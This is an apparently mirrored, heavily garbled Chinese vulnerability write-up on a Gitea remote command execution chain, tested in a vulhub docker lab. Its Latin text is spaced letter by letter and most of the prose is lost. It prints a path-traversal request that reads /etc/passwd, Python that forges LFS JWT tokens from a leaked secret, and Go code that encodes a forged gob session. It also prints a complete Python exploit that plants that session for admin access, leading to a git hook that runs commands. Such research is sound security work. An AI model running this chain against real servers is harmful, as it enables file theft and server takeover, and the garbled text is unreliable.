[12959] 2018-07-18_Go代码审计:Gitea远程命令执行漏洞链

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-18
2018-07-18_Go代码审计:Gitea远程命令执行漏洞链 G o G i t e a p h i t h o n   F r e e B u f   2 0 1 8 - 0 7 - 1 8 d o c k e r d o c k e r v u l h u b 线 线 G i t   L F S G i t   L F S G i t g i t g i t g i t   o b j e c t s . g i t g i t g i t e a g i t L F S   m o d u l e s / l f s / s e r v e r . g o   P o s t H a n d l e r P O S T r e q u i r e A u t h W W W - A u t h e n t i c a t e 4 0 1 P o s t H a n d l e r i f   ! a u t h e n t i c a t e ( c t x ,   r e p o s i t o r y ,   r v . A u t h o r i z a t i o n ,   t r u e )   {         r e q u i r e A u t h ( c t x ) }
穿 穿 v u l h u b / r e p o G i t   L F S L F S h t t p : / / e x a m p l e . c o m / v u l h u b / r e p o . g i t / i n f o / l f s / o b j e c t s / [ o i d ] 访 [ o i d ] L F S I D g i t e a I D O i d / . . / . . / e t c / p a s s w d L F S v u l h u b / r e p o L F S 访 L F S 4 0 1 L F S O i d / . . / . . / e t c / p a s s w d 访 访 G E T h t t p : / / e x a m p l e . c o m / v u l h u b / r e p o . g i t / i n f o / l f s / o b j e c t s / [ o i d ] / s t h o i d u r l / e t c / p a s s w d P O S T   / v u l h u b / r e p o . g i t / i n f o / l f s / o b j e c t s   H T T P / 1 . 1 H o s t :   y o u r - i p : 3 0 0 0 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t :   a p p l i c a t i o n / v n d . g i t - l f s + j s o n A c c e p t - L a n g u a g e :   e n U s e r - A g e n t :   M o z i l l a / 5 . 0   ( c o m p a t i b l e ;   M S I E   9 . 0 ;   W i n d o w s   N T   6 . 1 ;   W i n 6 4 ;   x 6 4 ;   T r i d e n t / 5 . 0 ) C o n n e c t i o n :   c l o s e C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n C o n t e n t - L e n g t h :   1 5 1 {         " O i d " :   " . . . . . . / . . / . . / e t c / p a s s w d " ,         " S i z e " :   1 0 0 0 0 0 0 ,         " U s e r "   :   " a " ,         " P a s s w o r d "   :   " a " ,         " R e p o "   :   " a " ,         " A u t h o r i z a t i o n "   :   " a " }
/ e t c / p a s s w d   m o d u l e s / l f s / c o n t e n t _ s t o r e . g o   m e t a . O i d t r a n s f o r m K e y O i d k e y [ 0 : 2 ] / k e y [ 2 : 4 ] / k e y [ 4 : ] O i d / . . / . . / e t c / p a s s w d t r a n s f o r m K e y . . / . . / . . / . . / . . / e t c / p a s s w d s . B a s e P a t h L F S / e t c / p a s s w d 穿 J W T v u l h u b / r e p o 穿 g i t e a G I T E A _ C U S T O M g i t e a / v a r / l i b / g i t e a / v u l h u b / d a t a / g i t e a L F S G I T E A _ C U S T O M P O S T O i d . g i t e a / c o n f / a p p . i n i L F S
T o k e n s q l i t e s a l t G i t e a L F S 使 J W T L F S _ J W T _ S E C R E T J W T L F S p y t h o n j w t _ s e c r e t p u b l i c _ u s e r _ i d i d p u b l i c _ r e p o _ i d i d L F S n b f e x p J W T 访 L F S P u t H a n d l e r P U T i m p o r t   j w t i m p o r t   t i m e i m p o r t   b a s e 6 4 d e f   d e c o d e _ b a s e 6 4 ( d a t a ) :         m i s s i n g _ p a d d i n g   =   l e n ( d a t a )   %   4         i f   m i s s i n g _ p a d d i n g   ! =   0 :                 d a t a   + =   ' = ' *   ( 4   -   m i s s i n g _ p a d d i n g )         r e t u r n   b a s e 6 4 . u r l s a f e _ b 6 4 d e c o d e ( d a t a ) j w t _ s e c r e t   =   d e c o d e _ b a s e 6 4 ( ' o U s P A A k e i c 6 H a B M H P i T V H x T e C r E D c 2 9 s L 6 f 0 J u V p 7 3 c ' ) p u b l i c _ u s e r _ i d   =   1 p u b l i c _ r e p o _ i d   =   1 n b f   =   i n t ( t i m e . t i m e ( ) ) - ( 6 0 * 6 0 * 2 4 * 1 0 0 0 ) e x p   =   i n t ( t i m e . t i m e ( ) ) + ( 6 0 * 6 0 * 2 4 * 1 0 0 0 ) t o k e n   =   j w t . e n c o d e ( { ' u s e r ' :   p u b l i c _ u s e r _ i d ,   ' r e p o ' :   p u b l i c _ r e p o _ i d ,   ' o p ' :   ' u p l o a d ' ,   ' e x p ' :   e x p ,   ' n b f ' :   n b f } ,   j w t _ s e c r e t ,   a l g o r i t h m = ' H S 2 5 6 ' ) t o k e n   =   t o k e n . d e c o d e ( ) p r i n t ( t o k e n )
1 . t r a n s f o r m K e y ( m e t a . O i d )   +   . t m p   2 . 3 . 4 . m e t a . S i z e m e t a . s i z e L F S S i z e 5 . m e t a . O i d 6 . O i d 穿 s h a 2 5 6 H E X 5 退 6 . t m p d e f e r   o s . R e m o v e ( t m p P a t h ) g o d e f e r 1 . . t m p
2 . g i t e a H T T P H T T P P u t i o . C o p y . t m p s e s s i o n / e t c / c r o n . d / c r o n t a b s h e l l g i t e a r o o t g i t e a 使 g o - m a c a r o n / s e s s i o n s e s s i o n 使 s e s s i o n g o - m a c a r o n / s e s s i o n 1 . s e s s i o n s i d [ 0 ] / s i d [ 1 ] / s i d 2 . G o b G o b G o G o G o b s e s s i o n
{ _ o l d _ i o d :   1 ,   u i d :   u i d ,   u n a m e :   v u l h u b   } s e s s i o n u i d i d u n a m e h e x P O C u i d u n a m e P y t h o n P y t h o n 3 . 6 p a c k a g e   m a i n i m p o r t   (         " f m t "         " e n c o d i n g / g o b "         " b y t e s "         " e n c o d i n g / h e x " ) f u n c   E n c o d e G o b ( o b j   m a p [ i n t e r f a c e { } ] i n t e r f a c e { } )   ( [ ] b y t e ,   e r r o r )   {         f o r   _ ,   v   : =   r a n g e   o b j   {                 g o b . R e g i s t e r ( v )         }         b u f   : =   b y t e s . N e w B u f f e r ( n i l )         e r r   : =   g o b . N e w E n c o d e r ( b u f ) . E n c o d e ( o b j )         r e t u r n   b u f . B y t e s ( ) ,   e r r } f u n c   m a i n ( )   {         v a r   u i d   i n t 6 4   =   1         o b j   : =   m a p [ i n t e r f a c e { } ] i n t e r f a c e { }   { " _ o l d _ u i d " :   " 1 " ,   " u i d " :   u i d ,   " u n a m e " :   " v u l h u b "   }         d a t a ,   e r r   : =   E n c o d e G o b ( o b j )         i f   e r r   ! =   n i l   {                 f m t . P r i n t l n ( e r r )         }         e d a t a   : =   h e x . E n c o d e T o S t r i n g ( d a t a )         f m t . P r i n t l n ( e d a t a ) } i m p o r t   r e q u e s t s i m p o r t   j w t i m p o r t   t i m e i m p o r t   b a s e 6 4 i m p o r t   l o g g i n g i m p o r t   s y s i m p o r t   j s o n f r o m   u r l l i b . p a r s e   i m p o r t   q u o t e l o g g i n g . b a s i c C o n f i g ( s t r e a m = s y s . s t d o u t ,   l e v e l = l o g g i n g . D E B U G ) B A S E _ U R L   =   ' h t t p : / / y o u r - i p : 3 0 0 0 / v u l h u b / r e p o ' J W T _ S E C R E T   =   ' A z D E 6 j v a O h h _ u 3 0 c m k b E q m O d l 8 h 3 4 z O y x f q c i e u A u 9 Y ' U S E R _ I D   =   1 R E P O _ I D   =   1 S E S S I O N _ I D   =   ' 1 1 v u l h u b ' S E S S I O N _ D A T A   =   b y t e s . f r o m h e x ( ' 0 e f f 8 1 0 4 0 1 0 2 f f 8 2 0 0 0 1 1 0 0 1 1 0 0 0 0 0 5 c f f 8 2 0 0 0 3 0 6 7 3 7 4 7 2 6 9 6 e 6 7 0 c 0 a 0 0 0 8 5 f 6 f 6 c 6 4 5 f 7 5 6 9 6 4 0 6 7 3 7 4 7 2 6 9 6 e 6 7 0 c 0 3 0 0 0 1 3 1 0 6 7 3 7 4 7 2 6 9 6 e 6 7 0 c 0 5 0 0 0 3 7 5 6 9 6 4 0 5 6 9 6 e 7 4 3 6 3 4 0 4 0 2 0 0 0 2 0 6 7 3 7 4 7 2 6 9 6 e 6 7 0 c 0 7 0 0 0 5 7 5 6 e 6 1 6 d 6 5 0 6 7 3 7 4 7 2 6 9 6 e 6 7 0 c 0 8 0 0 0 6 7 6 7 5 6 c 6 8 7 5 6 2 ' ) d e f   g e n e r a t e _ t o k e n ( ) :         d e f   d e c o d e _ b a s e 6 4 ( d a t a ) :                 m i s s i n g _ p a d d i n g   =   l e n ( d a t a )   %   4                 i f   m i s s i n g _ p a d d i n g   ! =   0 :                         d a t a   + =   ' = ' *   ( 4   -   m i s s i n g _ p a d d i n g )                 r e t u r n   b a s e 6 4 . u r l s a f e _ b 6 4 d e c o d e ( d a t a )         n b f   =   i n t ( t i m e . t i m e ( ) ) - ( 6 0 * 6 0 * 2 4 * 1 0 0 0 )         e x p   =   i n t ( t i m e . t i m e ( ) ) + ( 6 0 * 6 0 * 2 4 * 1 0 0 0 )         t o k e n   =   j w t . e n c o d e ( { ' u s e r ' :   U S E R _ I D ,   ' r e p o ' :   R E P O _ I D ,   ' o p ' :   ' u p l o a d ' ,   ' e x p ' :   e x p ,   ' n b f ' :   n b f } ,   d e c o d e _ b a s e 6 4 ( J W T _ S E C R E T ) ,   a l g o r i t h m = ' H S 2 5 6 ' )         r e t u r n   t o k e n . d e c o d e ( ) d e f   g e n _ d a t a ( ) :         y i e l d   S E S S I O N _ D A T A         t i m e . s l e e p ( 3 0 0 )         y i e l d   b ' ' O I D   =   f ' . . . . g i t e a / s e s s i o n s / { S E S S I O N _ I D [ 0 ] } / { S E S S I O N _ I D [ 1 ] } / { S E S S I O N _ I D } ' r e s p o n s e   =   r e q u e s t s . p o s t ( f ' { B A S E _ U R L } . g i t / i n f o / l f s / o b j e c t s ' ,   h e a d e r s = {         ' A c c e p t ' :   ' a p p l i c a t i o n / v n d . g i t - l f s + j s o n ' } ,   j s o n = {         " O i d " :   O I D ,         " S i z e " :   1 0 0 0 0 0 ,         " U s e r "   :   " a " ,         " P a s s w o r d "   :   " a " ,         " R e p o "   :   " a " ,         " A u t h o r i z a t i o n "   :   " a " } ) l o g g i n g . i n f o ( r e s p o n s e . t e x t ) r e s p o n s e   =   r e q u e s t s . p u t ( f " { B A S E _ U R L } . g i t / i n f o / l f s / o b j e c t s / { q u o t e ( O I D ,   s a f e = ' ' ) } " ,   d a t a = g e n _ d a t a ( ) ,   h e a d e r s = {         ' A c c e p t ' :   ' a p p l i c a t i o n / v n d . g i t - l f s ' ,         ' C o n t e n t - T y p e ' :   ' a p p l i c a t i o n / v n d . g i t - l f s ' ,         ' A u t h o r i z a t i o n ' :   f ' B e a r e r   { g e n e r a t e _ t o k e n ( ) } '   } )
S E S S I O N 3 0 0 3 0 0 1 1 v u l h u b . t m p s e s s i o n   i d s e s s i o n   i d H O O K i _ l i k e _ g i t e a = 1 1 v u l h u b . t m p C o o k i e 访 便 G i t G i t g i t p r e - r e c e i v e c o m m i t t o u c h   / t m p / s u c c e s s d o c k e r G o   W e b
P O C 1 . g i t e a $ G I T E A _ C U S T O M a p p . i n i P O C 2 . I D s e s s i o n s e s s i o n g i t e a s e s s i o n 使 s e s s i o n 使 s q l i t e c o o k i e g i t e a _ i n c r e d i b l e * p h i t h o n F r e e B u f . C O M
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则